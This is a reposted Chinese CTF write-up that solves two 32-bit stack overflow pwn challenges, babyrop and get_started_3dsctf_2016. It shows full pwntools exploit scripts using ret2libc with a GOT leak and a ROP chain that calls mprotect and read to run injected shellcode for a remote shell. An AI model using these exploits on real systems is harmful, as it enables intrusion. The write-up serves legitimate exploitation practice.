32位栈溢出进阶

[OGeek2019]babyrop


在这里插入图片描述
32位,开了栈堆执行保护
IDA查看下伪代码
没有system和/bin/sh/
在这里插入图片描述读一个随机数给buf

在这里插入图片描述

strncmp函数为字符串比较函数,字符串大小的比较是以ASCII 码表上的顺序来决定,此顺序亦为字符的值

就是读取一个随机数,然后与输入作比较。需要绕过,strlen遇到\x00会停止,于是开头为\x00,最终比较的长度v1是0,从而绕过strncmp,避免执行exit(0)

在这里插入图片描述

大致的流程就是先生成一个随机数,然后将这个随机数放入buf,再把buf传到804871F
在804871F里,buf变成a1,把a1放入s,然后往804871F的buf里输入数据,这一步要注意,我们要做的是通过传入数据,把v5覆盖掉,因为返回值是v5,而v5和buf的关系在stack里是这样的
在这里插入图片描述
所以我们传入2c-25=7个以上的字节,同时为了绕开strlen在前面要加’\x00’,所以payload1 = ’\x00’+’\xff’*7
接着v5返回到主函数,变成v2,传到80487D0里,80487D0里变成a1, 因为我们传入的a1为\xff(255),所以执行else, 这时我们开始ret2libc
p = flat([‘a’*0xe7, ‘a’*4, puts_plt, main_addr, read_got])

接着重新回到主函数,再来一次,步骤大致相同,就只是最后改为执行system
参考博客

exp

Python编码声明# -- coding: utf-8 --

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',27895)
#r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

payload1='\x00'+'\xff'*0x7
r.sendline(payload1)
r.recvuntil('Correct\n')

#泄露read的got地址
payload='a'*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

r.sendline(payload1)
r.recvuntil('Correct\n')

payload='a'*(0xe7+4)+p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

运行结果

在这里插入图片描述

flag{61cba5df-9047-4e28-abe7-093ca7a8f405}


get_started_3dsctf_2016

checksec一下
在这里插入图片描述
32位ida查看伪代码
在这里插入图片描述
主函数看到好大一个gets溢出?
在这里插入图片描述
参考原博客在这

在这里插入图片描述

这题的关键所在是程序里有一个mprotect函数,它的作用是能够修改内存的权限为可读可写可执行,然后我们就可以往栈上写入shellcode,执行即可获取shell

mprotect函数:

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限

首先利用gets造成溢出,让程序跳转到mprotect函数地址,去执行

payload = 'A' * 0x38 + p32(mprotect_addr)

Ctrl+s调出程序的段表,从地址080eb000开始修改为可读可写可执行
在这里插入图片描述
使用以下指令可以找到我们需要的ret指令,我们mprotect函数只要设置3个参数,这边就借用3个寄存器

 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,需要继续控制程序

payload += p32(pop3_ret) 

payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   

payload += p32(read_addr)

read函数原型:

ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容    设为0
buf 设为我们想要执行的内存地址      设为我们已找到的内存地址0x80EB000
size 适当大小就可以               只要够读入shellcode就可以,设置大点无所谓

可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令

payload += p32(pop3_ret)  

payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 

#将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode
payload += p32(mem_addr)

到这里已完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,接下来我们只要传入shellcode即可
shellcode可以利用pwntools直接生成:shellcode=asm(shellcraft.sh())

exp

from pwn import *

elf = ELF('./get_started_3dsctf_2016')

ma=remote('node3.buuoj.cn', 28669)

pop3_ret = 0x804951D

mem_addr = 0x80EB000
mem_size = 0x1000    
mem_proc = 0x7       

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']


payload  = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) 


payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   

payload += p32(read_addr)

payload += p32(pop3_ret)  


payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 

payload += p32(mem_addr)   

ma.sendline(payload)

payload = asm(shellcraft.sh()) 

ma.sendline(payload)

ma.interactive()

运行结果

在这里插入图片描述

$ cat flag
flag{72a4c30b-7857-430f-9ed3-e45cb4447c96}

猜你喜欢

转载自blog.csdn.net/bocaiaichila/article/details/109722548